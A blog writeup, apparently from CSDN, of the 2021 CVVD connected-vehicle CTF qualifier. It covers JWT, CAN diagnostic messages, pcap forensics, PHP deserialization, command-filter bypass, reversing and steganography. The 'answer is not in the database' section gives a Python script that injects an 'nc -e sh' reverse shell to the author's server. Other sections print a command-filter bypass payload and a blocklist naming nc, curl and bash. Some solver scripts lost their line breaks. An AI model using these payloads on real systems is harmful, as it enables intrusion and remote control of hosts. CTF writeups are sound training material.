# 2021 CVVD首届车联网漏洞挖掘赛线上初赛 Writeup

# 原创

 SkYe231
 ● 于 2021-05-09 23:26:09 发布
 ● 789 
 ◆ 收藏 2

 文章标签:
 CVVD 车联网漏洞挖掘线上赛 信息安全 writeup

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/weixin\_43921239/article/details/116573036

 版权

## jwt

原题

https://blog.csdn.net/weixin\_46676743/article/details/113726655

带着

Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6I mdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZABqnXHw

访问/admin

## CAN总线4

通过诊断服务报文使ECU停止发送网络管理报文,但仍能接收应用报文,请写出诊断服务报文数据场的前4字节。

参考https://blog.csdn.net/usstmiracle/article/details/109214586

0x04 应用层有四字节

0x28 CommunicationControl

0x01 enableRxAndDisableTx(激活接收和关闭发送)

0x2代表网络管理报文

flag{04 28 01 02}

## CAN总线6

通过诊断服务使ECU进入扩展会话,如果ECU肯定响应,请写出ECU回复报文数据场的第2、3字节内容,如果ECU否定响应, 请写出ECU回复报文数据场的第2、3字节内容。

参考https://zhuanlan.zhihu.com/p/37310388

肯定响应,50=10+40表示对SID的肯定回复,03是Extended扩展会话。

否定响应,7F表示否定响应,10是SID,表示诊断模式。

## flag{50 03 7F 10}

## stealthupload

首先把附件下载uploader\_ec1afb6e216063e8e0be11604e51a050.pcapng,然后拖进wireshark

然后 ctrl+F 打开分组字节流搜索,选择字符串,直接输入flag

然后发现有个flag.txt的字样,试着把这个压缩包导出。

直接用: 文件->导出分组字节流->保存文件

但是导出后的压缩包解压之后发现并没有什么用

但是发现这里是使用qq邮箱传文件

#### 🚄 Wireshark · 导出 · HTTP 对象列表

分	。 组	Hostname	Content Type	Size	Filename	^
13	;	set2.mail.qq.com	application/x-www-form-urlencoded	143 bytes	uploadunite?func=CreateFile&&inputf=json&c	
18	3	set2.mail.qq.com	application/json	1003 bytes	uploadunite?func=CreateFile&&inputf=json&c	
37	,	sz.mail.ftn.qq.com	text/xml	518 bytes	crossdomain.xml	
16	53	sz.mail.ftn.qq.com	application/octet-stream	131 kB	0b126a291df43b53f99c4c71209c66fd?bmd5=0	
18	32	sz.mail.ftn.qq.com	text/octet	25 bytes	0b126a291df43b53f99c4c71209c66fd?bmd5=0	
28	39	sz.mail.ftn.qq.com	application/octet-stream	131 kB	acbfc77208240d03e6af8c9847ccbdbb?bmd5=a	
33	80	sz.mail.ftn.qq.com	text/octet	25 bytes	acbfc77208240d03e6af8c9847ccbdbb?bmd5=a	
43	81	sz.mail.ftn.qq.com	application/octet-stream	131 kB	146b038670952f51f18d6e39e894c7de?bmd5=	

 $\times$ 

于是使用包过滤语句 http.request.method==POST

发现有5个连续的包。

这里需要去掉这5个包相同的头文件

先点击第一个数据包。可以发现长度为 131436 bytes

依次发现第2,3,4个数据包长度均为 131436 bytes

第5个包长度为 1777 bytes

所以5个包的总长度为

131436\*4+1777=527571

接着使用ctrl+F搜索logattsize, logattsize 这个参数为该包中通过qq邮箱传输的文件大小参数

0260	31	26	64	6f	6d	61	69	6e	63	68	65	63	6b	3d	30	26	1&domain	check=0&
0270	63	67	69	74	6d	3d	31	34	32	34	38	33	37	31	36	37	cgitm=14	24837167
0280	39	30	31	26	63	<mark>6</mark> c	69	74	6d	3d	31	34	32	34	38	33	901&clit	m=142483
0290	37	31	36	39	39	30	38	26	63	6f	6d	74	6d	3d	31	34	7169908&	comtm=14
02a0	32	34	38	33	37	32	38	31	38	35	32	26	6c	6f	67	61	24837281	852&loga
02b0	74	74	63	6e	74	3d	31	26	6c	6f	67	61	74	74	73	69	ttcnt=1&	logattsi
02c0	7a	65	3d	35	32	35	37	30	31	26	<mark>6</mark> c	6f	67	61	74	74	ze=52570	1&logatt
02d0	6d	65	74	68	6f	64	3d	75	6e	64	65	66	69	6e	65	64	method=u	ndefined
02e0	26	63	67	69	<u>6e</u>	61	6d	65	3d	63	6f	6d	70	6f	73	65	<pre>&amp;cginame</pre>	=compose
02f0	5f	73	65	6e	64	26	65	66	3d	6a	73	26	74	3d	63	6f	_send&ef	=js&t=co
0300	6d	70	6f	73	65	5f	73	65	6e	64	2e	6a	73	6f	6e	26	<pre>mpose_se</pre>	nd.json&
0310	72	65	73	70	5f	63	68	61	72	73	65	74	3d	55	54	46	resp_cha	rset=UTF
0320	38																8	

#### 1820就是五个包的文件头总和

#### 1820/5=364

364就是每个包的文件头字节数

这里我们把字节数算出来之后,就需要把这五个包导出来,导出之后用 shell命令 dd,依次把五个文件去掉文件头保存成另一文件

依次对1,2,3,4,5文件执行,分别保存为01,02,03,04,05

#### copy /B 01+02+03+04+05 bugkufly.rar

但是解压的时候出现了问题

可能是zip伪加密,打开010编辑器。把图中84改为80。

₹ 编辑	方式:		进制(	(H) 🗸	' 这	行脚	本 イ	过	5行模	板 >							
	Q		2	3	4	5	6		8	9	Ą	B		D	Ę	F	0123456789ABCDEF
0000h:	52	61	72	21	1A	07	00	CF	90	73	00	00	0D	00	00	00	Rar!Ï.s
0010h:	00	00	00	00	F9	81	74		90	2D	00	ЗD	05	80	00	86	ù.t€ <mark>.</mark> =†
0020h:	22	0F	00	02	25	2D	ΕD	E.	09	5C	59	46	1D	35	80	00	"%-íñ.\YF.5
0030h:	20	00	00	00	66	6C	61	67	2E	74	78	74	00	F0	79	03	flag.txt.ðy.
0040h:	4C	18	1E	15	15	0C	89	15	DC	16	1D	EF	A3	72	4B	90	L%.Üï£rK.
0050h:	В0	90	80	24	3A	52	23	05	22	02	C8	41	C4	84	82	40	°\$:R#.".ÈAÄ",@
0060h:	9D	04	ЗA	EC	24	87	44	ЗA	58	A1	18	80	81	92	6F	60	:ì\$‡D:X;'o`
0070h:	2B	00	93	2C	9C	66	E5	33	19	99	C5	CE	3C	F6	В9	98	+ <b>.",</b> œfå3 <b>.</b> ™ÅÎ<ö¹~
0080h:	98	F4	63	86	1C	E7	0C	C4	С5	88	B8	В7	25	84	84	41	~ôct.ç.ÄÅ^_`%""A
0090h:	53	A7	02	04	14	10	15	DD	96	23	0E	84	2C	80	97	F1	S§Ý−#.",.−ñ
00A0h:	DD	5C	84	97	D3	AD	56	ΕE	E1	07	1C	57	9E	FΕ	7D	9E	Ý∖"—Ó-VîáWžþ}ž
00B0h:	DC	C9	7B	AD	D5	6A	Β5	5A	AD	56	AB	55	AA	D5	74	6C	ÜÉ{−ÕjµZ−V«UªÕtl
00C0h:	FC	4B	5F	E1	3C	F5	ΕB	FΒ	55	D5	73	7B	DD	6E	78	4F	üK á<õëûUÕs{ÝnxO
00D0h:	A0	F3	CB	$\mathbf{FB}$	69	8C	C0	02	55	00	4D	65	C6	C0	4A	01	óËûiŒÀ.U.MeÆÀJ.
00E0h:	C1	A6	02	00	00	00	34	4E	84	05	64	BB	14	32	Ε6	48	Á¦4N".d».2æH
OOFOD.	25	10	70	07	16	15	51	CO	CA	ΛD	01	ЛЛ		56	17	ро	דו בביתאאעיים עדמ

改完之后把文件后缀改为exe,再放到kail里面binwalk

binwalk -e flag.exe

发现没有想要的东西。再用foremost试一下

foremost -T flag.exe

出现了二维码图片,用手机扫一下即可得到

flag{m1Sc\_ox02\_Fly}

# SQL注入解决不了问题

原题: https://castilho101.github.io/midnightsun-2021-ctf/

传入参数

/?userdata=Tzo4OiJzdGRDbGFzcyI6NDp7czo4OiJ1c2VybmFtZSI7czoxMToiRDBsb3Jlc0g0emUiO3M6ODoicGFzc3dvcmQiO3M6MTM6InJhc 211c2xlcmRvcmYiO3M6MTM6Il9jb3JyZWN0VmFsdWUiO047czozOiJtZmEiO1I6NDt9

# 绕过检测是一门艺术

题目如下

```
<?phphighlight_file(__FILE__);$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|les
s|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\/is';$cmd = $
_POST['cmd'];if(!preg_match($filter, $cmd)){ system($cmd."echo 'hi~'");}else{ die("???");}?>
```

先用

#### dir%09.%09

看到有个文件夹 CvvD\_F14g\_1s\_h4rehaha.php, 然后读取文件

#### payload

cmd=cut%09-f%091%09CvvD\_F14g\_1s\_h4rehaha.php%09

## 然后得到 flag

## 答案并不在数据库中

原题: https://pocas.kr/2021/03/08/2021-03-08-zer0pts-CTF-2021/

脚本

```
import requestsurl = "http://192.168.1.103:8003"username = '";\n.sh nc 661356205 12 -e sh\n'data = {"username":
username, "password": "pocas"}requests.post(url+"/login", data)
```

ip使用十进制绕一下

然后在vps监听 nc -lvnp 12, 可以反弹一个shell。反弹之后根目录下有个flag直接读就行了

#### flag{CVVD\_QKtmeZ86U9}

## 提交答案的一百种方式

### exp

取cwd为密钥,进行表替换,不过表的值直接从内存中取即可,明文首先通过循环左移一位,然后与表内容异或,最后进行 base64逆过来即可

import base64temp = []miyao = ['c','v','v','d']temp = [0xdf ,0x66 ,0x52 ,0xb9 ,0x20 ,0x1a ,0x17 ,0x29,0xed ,0x76 ,0x67 ,0x5b ,0x58 ,0x22 ,0xd1 ,0x44,0x26 ,0x3e ,0xc6 ,0xfb ,0xb4 ,0x3f ,0x33 ,0x4b]encrypt = "GYq+cZ7Iqb8xFonl/ EQ9zsJUDA=="decrypt = base64.b64decode(encrypt)print len(decrypt)decrypt = list(decrypt)for i in range(len(decry pt)): decrypt[i] = chr((temp[i]^ord(decrypt[i]))) decrypt[i] = chr((((ord(decrypt[i])<<7)&0xff))((ord(decrypt[i])))) )>>1)&0xff)))flag=""for i in range(len(decrypt)): flag+=decrypt[i]print flag

## 你知道什么是反编译么

exp

加密代码在so中,考察so逆向,并且是攻防世界的原题

将f72c5a36569418a20907b55be5bf95ad两两交换得到7fc2a5636549812a90705bb55efb59da 将7fc2a5636549812a90705bb55efb59da以中间一分为二,头拼接到尾,得到90705bb55efb59da7fc2a5636549812a

# 这次不是反编译了

逻辑很简单,每个字符经过运算都需要等到0x30,并且变量为下标,直接逆即可

## exp

flag=""for i in range(12): flag += chr((0xff-i-100-0x30)%256)print flag

# 我想用用你的网

Wireshark 找到 eapol 协议的 wifi 链接认证 WPA 的四次握手包,爆破链接密码即可。用手机号码字典爆破成功:

### flag{13910407686}

## stegsolve

右键看源码发现有两个图片(base64编码),都down下来,mac打开titf格式那张图,看到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g4XpMBPc-1620573895233) (https://gitee.com/mrskye/Picbed/raw/master/img/20210508204031.png)]

# 可以进行嗅探的可不止是嗅探犬

					P=V-91		••	•			Wireshark ·	Packet 233 · sniffer0
000					🚄 sniffe	r02_475e094a2078c733b508265afe	de5l		umber (ruw). J	00733-300		
	2 💿	S 🕺 🗋	۹ 🔶 🛎	<u>▼</u> <u>↓</u>				[Next Sequ Acknowledg Acknowledg	ence Number: 1 ment Number: 1 ment number (r.	64749 (relative sequ (relative ack numbe aw): 4008493931	ence number)] -)	
📕 Apply a dis	splay filter	<\${/>>						0101	= Header Lengt	h: 20 bytes (5)		
No. Ti	ime	Source	Destination	Protocol	Length Info			> Flags: 0x0	18 (PSH, ACK)			
220 2	5.544950	172.10.00.100	172.10.00.120	TCP	1514 11251 → 00 [ACK] Seq=	140044 ACK-1 W11-03700 Len-1400	L I I	Window: 16	425			
221 2	5 544939	172.10.00.100	172.10.80.120	TCP	1514 11251 → 80 [ACK] Seq=	149504 ACK=1 Win=65700 Len=1460	(T)	[Calculate	d window size:	65700]		
222 2	5 544941	172.10.00.100	172.10.00.120	TCP	1514 11251 → 80 [ACK] Seq=	152424 Ack=1 Win=65700 Len=1460	(T)	[Window si	ze scaling fac	tor: 4]		
223 2	5.544944	172.16.66.100	172.16.80.120	TCP	1514 11251 - 80 [ACK] Seg=	153884 Ack=1 Win=65700 Len=1460	(T)	Checksum:	0xec58 [unveri	fied]		
225 25	5.544945	172.16.66.100	172, 16, 80, 120	TCP	1514 11251 → 80 [ACK] Seg=	155344 Ack=1 Win=65700 Len=1460	(T)	[Checksum	Status: Unveri	fied]		
226 25	5.544947	172.16.66.100	172.16.80.120	TCP	1514 11251 → 80 [ACK] Seg=	156804 Ack=1 Win=65700 Len=1460	(T)	Urgent Poi	nter: 0			
227 2	5.544948	172.16.66.100	172, 16, 80, 120	TCP	1514 11251 → 80 [ACK] Seg=	L58264 Ack=1 Win=65700 Len=1460	(T)	> [SEQ/ACK a	nalysis]			
228 2	5,544950	172.16.66.100	172,16,80,120	TCP	1514 11251 → 80 [ACK] Seg=	L59724 Ack=1 Win=65700 Len=1460	(T)	> [Timestamp	s]			
229 25	5.544951	172.16.66.100	172.16.80.120	TCP	1514 11251 → 80 [ACK] Seg=	L61184 Ack=1 Win=65700 Len=1460	(T)	TCP payloa	d (321 bytes)			
230 25	5.544971	172.16.80.120	172.16.66.100	TCP	60 80 → 11251 [ACK] Seq=	L Ack=96948 Win=70016 Len=0	_	TCP segmen	t data (321 by	tes)		
231 25	5.544989	172.16.66.100	172.16.80.120	TCP	1514 11251 → 80 [ACK] Seq=	L62644 Ack=1 Win=65700 Len=1460	(T)					
232 25	5.544992	172.16.66.100	172.16.80.120	TCP	378 11251 → 80 [PSH, ACK]	Seg=164104 Ack=1 Win=65700 Len	=32 00	30 40 29 ec	58 00 00 45 5a	1d b4 00 37 fd 12 73	fd @) · X · · EZ · · · 7	7 · · s ·
→ 233 25	5.545072	172.16.66.100	172.16.80.120	HTTP	375 POST /upload.php HTTP,	<pre>/1.1 (JPEG JFIF image)</pre>	00	10 e0 3T a9	10 /T 86 a0 TT 50 c2 dd b1 4d	00 64 5C TT 00 78 0T bb a4 a7 27 de ad 28	ea · ? · · · · · · · · · · · · · · · · ·	· · × · ·
234 25	5.545301	172.16.80.120	172.16.66.100	TCP	60 80 → 11251 [ACK] Seq=	L Ack=99868 Win=70016 Len=0	00	50 6c 6f 75	fc 23 73 3e 82	9b 0d 43 ce 2a bf f8	5a lou·#s>· ··C·	****1
235 25	5.545302	172.16.80.120	172.16.66.100	TCP	60 80 → 11251 [ACK] Seq=	L Ack=102788 Win=70016 Len=0	00	70 Øf f6 45	cf f7 88 fe ce	00 ed a8 3f d9 17 07	fe E i	2
236 25	5.545615	172.16.80.120	172.16.66.100	TCP	60 80 → 11251 [ACK] Seq=	L Ack=105708 Win=70016 Len=0	00	30 f0 1f d4	80 7a 8a 13 b6	28 Øe 92 9c 6f 9a b4	bez (	0
237 25	5.545897	172.16.80.120	172.16.66.100	TCP	60 80 → 11251 [ACK] Seq=	L Ack=108628 Win=72960 Len=0	00	90 9a 3f 59	51 08 30 41 a0	01 b9 t8 45 57 tt 00	d ·?Y_·00· ···E	=W • • •
220 21	5 5/5000	170 16 90 100	172 16 66 100	TCD	60 90 . 11251 [ACK] Con-	Ack-110099 Win-72060 Lon-0	00	0 f7 80 fe	a4 17 e3 b0 fe	d4 7f d2 93 8f ef 56	Эс	· · · v ·
✓ Frame 23	33: 375 by	tes on wire (3000 bi	ts), 375 bytes capture	ed (3000 bi	ts) on interface \Device\NPF_	{27CDB067-B1AD-4A6E-BA3D-73FB78	B964 00	:0 cf 03 ea	93 78 d1 53 05	5f 78 c5 5a 3d b4 92	Be ····x·S· _x·Z	<u>Z</u> =···
> Inter	face id: (	) (\Device\NPF_{27CDI	3067-B1AD-4A6E-BA3D-73	FB78964C1C]	-)		00	10 78 49 c3	ff 00 bc 07 f5	20 7f 86 b3 7f ec 8b	Of xI·····	· · · · ·
Encap	sulation :	type: Ethernet (1)					00	f0 75 4f a0	46 21 C7 61 10 8f 54 fc 23 4f	4h 47 81 f8 45 5h ff	30 u0··T·#0 KG··	· ]<92
Arriv	at lime: /	Aug 18, 2015 10:57:10	0.139410000 CST				01	00 0d 61 fe	c8 b9 fe f0 1f	d4 81 fe 1a df ff 00	a8 ·a·····	
[lime	Shirt To	this packet: 0.000	000000 seconds]				01	L0 b9 fe f0	1f d4 81 f8 f4	3f b5 0f e9 4a 9f 90	of ?	· J · · ·
Epoch	11me: 14.	9800030.139410000 50	Conds Concernance				01	20 ff d9 66	6c 61 67 7b 64	61 37 33 64 38 38 39	33 ··flag{d a73d 6010da1a apha	18893
							01	10 35 65 63	34 62 39 37 7d	1a 0d 0a 2d 2d 2d 2d 2d	2d 5ec4b97} ····	
0000 0c d	la 41 9e c	c 85 20 89 84 32 73	c5 08 00 45 00 ··A·	·· · ·2s··	E		01	50 2d 57 65	62 4b 69 74 46	6f 72 6d 42 6f 75 6e	-WebKitF ormE	Bound
0010 01 6	9 70 af 4	0 00 40 06 00 00 ac	10 42 64 ac 10 · ip·	@.@B	1		01	61 72 79	49 65 52 50 5a	70 32 51 41 6f 32 7a	5b aryIeRPZ p2QA	Ao2zk
0020 50 7	0 20 T3 0	0 50 08 08 57 CC ee 0 00 45 5a 1d b4 00	ec c3 60 50 18 Px++	···F7 ···7·			01	49 32 55	2d 2d 0d 0a		120	
0040 e0 3	If a9 1b 7	f 86 a0 ff 00 64 5c	ff 00 78 0f ea ·?··	···· ·d\··:	<		Fr	ame (375 bytes)	Reassembled TCF	(164748 bytes)		
0050 41 f	f 00 50 c	2 dd b1 4d bb a4 a7	27 de ad 28 9c A···F	····M ····'·	· ( ·							

wireshark是电线上的鲨鱼么?

	Wireshark - Danket 20 - sniffer01 653r2r2de5d7351eef2ad1c6h3f1d321 ncan
<pre>Content-Type: application/x-www-torm-urlencoded\r\n</pre>	tion=login&do=login] d ofacd"
0000         80         89         17         a6         82         df 74         de         2b         81         1f 98         86         00         45         00           0010         03         51         61         54         00         40         64         00         40         64         07         a6         88         01         73         a7         a7	<pre>Clarge - 'fs' tW'Pr - UD'P' e D'PO ST /user php?act ion=logi h&amp;do=log in HTTP/ 1.1-Host : www.w boyun.or g''User- Agent: M ozilla/5 .0 (Wind ows NT 6 .1; WOWG 4; rv:38 .0) Geck o/201001 01 Firef ox/38.0 .4Ccept: text/ht ml,appl: cation/x html*xml,appl:ca tion/xml ;q=0.9,* /*;q=0.8 .Accept -Languag e: zh-CN</pre>
No.: 20 · Time: 2.684925 · Source: 192.168.1.102 · Destination: 115.231.236.116 · Protocol: .	HTTP - Length: 863 - Info: POST /user php?action=login&do=login HTTP/.1 (application/x-www-form-urlencoded)
Help	Close

# stegsolve-simple?

题目提示 stegsolve 联系杂项工具 stegsolve 。blue plane 1 有隐藏信息, data extract 提取出来即可。

flag{cicv\_a\_simple\_flag}